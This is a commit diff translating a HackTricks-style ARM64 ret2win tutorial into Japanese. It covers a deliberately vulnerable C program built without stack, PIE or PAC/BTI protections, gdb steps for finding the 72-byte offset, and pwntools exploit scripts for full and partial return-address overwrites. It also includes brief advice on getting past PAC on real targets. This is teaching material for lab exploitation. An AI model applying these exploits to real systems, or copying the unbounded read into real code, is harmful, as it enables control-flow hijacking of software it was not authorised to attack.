Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6

This commit is contained in:
Translator 2025-08-27 02:33:52 +00:00
parent bfd6705400
commit 513e47c584

View File

@ -2,14 +2,14 @@
{{#include ../../../banners/hacktricks-training.md}}
arm64の紹介を見つけるには:
arm64 の入門はこちら:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## コード
```c
#include <stdio.h>
#include <unistd.h>
@ -28,17 +28,29 @@ vulnerable_function();
return 0;
}
```
PIEとカナリアなしでコンパイル:
pie と canary を無効にしてコンパイル:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
```
## オフセットの特定
- 追加のフラグ `-mbranch-protection=none` は AArch64 の Branch Protection (PAC/BTI) を無効化します。ツールチェーンがデフォルトで PAC や BTI を有効にする場合、このフラグを使うとラボの再現性が保たれます。コンパイル済みバイナリが PAC/BTI を使用しているか確認するには:
- AArch64 GNU のプロパティを探します:
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
- プロローグ/エピローグを `paciasp`/`autiasp` (PAC) あるいは `bti c` のランディングパッド (BTI) がないか確認します:
- `objdump -d ret2win | head -n 40`
### パターンオプション
### AArch64 calling convention quick facts
この例は [**GEF**](https://github.com/bata24/gef) を使用して作成されました:
- リンクレジスタは `x30` (別名 `lr`) で、関数は通常 `stp x29, x30, [sp, #-16]!``x29`/`x30` を保存し、`ldp x29, x30, [sp], #16; ret` で復元します。
- つまり、保存された戻りアドレスはフレームベースから見て `sp+8` に存在します。下に `char buffer[64]` がある場合、保存された `x30` への通常の上書き距離は 64バッファ+ 8保存された x29= 72 バイトになります — これは以下で実際に確認するものと一致します。
- スタックポインタは関数境界で 16 バイト境界に整列している必要があります。より複雑なシナリオで後ほど ROP チェーンを組む場合は、SP のアラインメントを維持してください。そうしないと関数のエピローグでクラッシュする可能性があります。
gefを使用してgdbを起動し、パターンを作成して使用します
## Finding the offset
### Pattern option
この例は [**GEF**](https://github.com/bata24/gef) を使用して作成しました:
Start gdb with gef, create pattern and use it:
```bash
gdb -q ./ret2win
pattern create 200
@ -46,17 +58,17 @@ run
```
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
arm64は、レジスタx30侵害されたにあるアドレスに戻ろうとします。これを利用してパターンオフセットを見つけることができます
arm64 はレジスタ x30 にあるアドレスに戻ろうとします(このレジスタは改ざんされています)。これを利用して pattern offset を見つけることができます:
```bash
pattern search $x30
```
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
**オフセットは729x48です。**
**オフセットは72 (9x48).**
### スタックオフセットオプション
### Stack offset option
最初に、pcレジスタが格納されているスタックアドレスを取得します
まず、pc register が格納されている stack address を取得します:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
@ -65,38 +77,40 @@ info frame
```
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
次に、`read()`の後にブレークポイントを設定し、`read()`が実行されるまで続けて、13371337のようなパターンを設定します:
次に、`read()` の後にブレークポイントを設定し、`read()` が実行されるまで続行して、13371337 のようなパターンを設定します:
```
b *vulnerable_function+28
c
```
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
このパターンがメモリにどこに保存されているかを見つけます:
このパターンがメモリ内のどこに格納されているかを特定する:
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
次に **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
次に: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
## No PIE
### Regular
### 通常
**`win`** 関数のアドレスを取得します:
**`win`** 関数のアドレスを取得する:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
```
エクスプロイト:
Exploit:
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
@ -114,7 +128,7 @@ p.close()
### Off-by-1
実際には、これはスタックに保存されたPCでオフバイ-2のようになります。すべてのリターンアドレスを上書きするのではなく、**最後の2バイトだけ**を`0x06c4`で上書きします。
実際にはこれはスタックに格納されたPCのoff-by-2のようなものになります。リターンアドレス全体を上書きする代わりに、**最後の2バイトだけ**を`0x06c4`で上書きします。
```python
from pwn import *
@ -136,16 +150,16 @@ p.close()
```
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
ARM64の別のオフバイワンの例は[https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)で見つけることができ、これは架空の脆弱性における実際のオフバイ-**ワン**です。
別のARM64におけるoff-by-oneの例は [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/) で見つけられます。これは架空の脆弱性における実際のoff-by-**one**です。
## PIEを使用して
## With PIE
> [!TIP]
> バイナリを**`-no-pie`引数なしでコンパイルする**
> バイナリを**`-no-pie` 引数なしで**コンパイルしてください
### オフバイ-2
### Off-by-2
リークがないと、勝利関数の正確なアドレスはわかりませんが、バイナリから関数のオフセットを知ることができ、上書きしているリターンアドレスがすでに近いアドレスを指していることを考慮すると、この場合、勝利関数へのオフセット(**0x7d4**)をリークし、そのオフセットを使用することが可能です:
leakがないとwin functionの正確なアドレスはわかりませんが、binaryからのfunctionのoffsetは把握でき、上書きしているreturn addressがすでに近いアドレスを指していることを考慮すれば、この場合win functionのoffset**0x7d4**をleakしてそのoffsetを使うことが可能です:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python
@ -167,4 +181,45 @@ p.send(payload)
print(p.recvline())
p.close()
```
### 現代の AArch64 ハードニング (PAC/BTI) と ret2win に関する注意事項
- バイナリが AArch64 Branch Protection でコンパイルされている場合、関数のプロローグ/エピローグに `paciasp`/`autiasp``bti c` が出力されることがあります。その場合:
- 有効な BTI landing pad ではないアドレスに戻ると `SIGILL` が発生する可能性があります。`bti c` を含む正確な関数エントリを狙ってください。
- リターンに対して PAC が有効になっていると、エピローグが `x30` を認証するため、単純な returnaddress の上書きは失敗することがあります。学習用の環境では、`-mbranch-protection=none` で再ビルドしてください(上記参照)。実際のターゲットを攻撃する場合は、非リターン型のハイジャック(例: function pointer overwritesを優先するか、偽造した LR を認証する `autiasp`/`ret` の組が絶対に実行されないような ROP を構築してください。
- 機能を素早く確認するには:
- `readelf --notes -W ./ret2win` を実行し、`AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` のノートを確認してください。
- `objdump -d ./ret2win | head -n 40` を実行し、`bti c``paciasp``autiasp` を確認してください。
### 非ARM64 ホストでの実行 (qemu-user クイックヒント)
x86_64 上にいるが AArch64 を練習したい場合:
```bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
```
### 関連 HackTricks ページ
-
{{#ref}}
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
{{#endref}}
-
{{#ref}}
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
{{#endref}}
## 参考文献
- Linux向けAArch64でのPACとBTIの有効化 (Arm Community, 2024年11月). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Arm 64-bit アーキテクチャのProcedure Call Standard (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
{{#include ../../../banners/hacktricks-training.md}}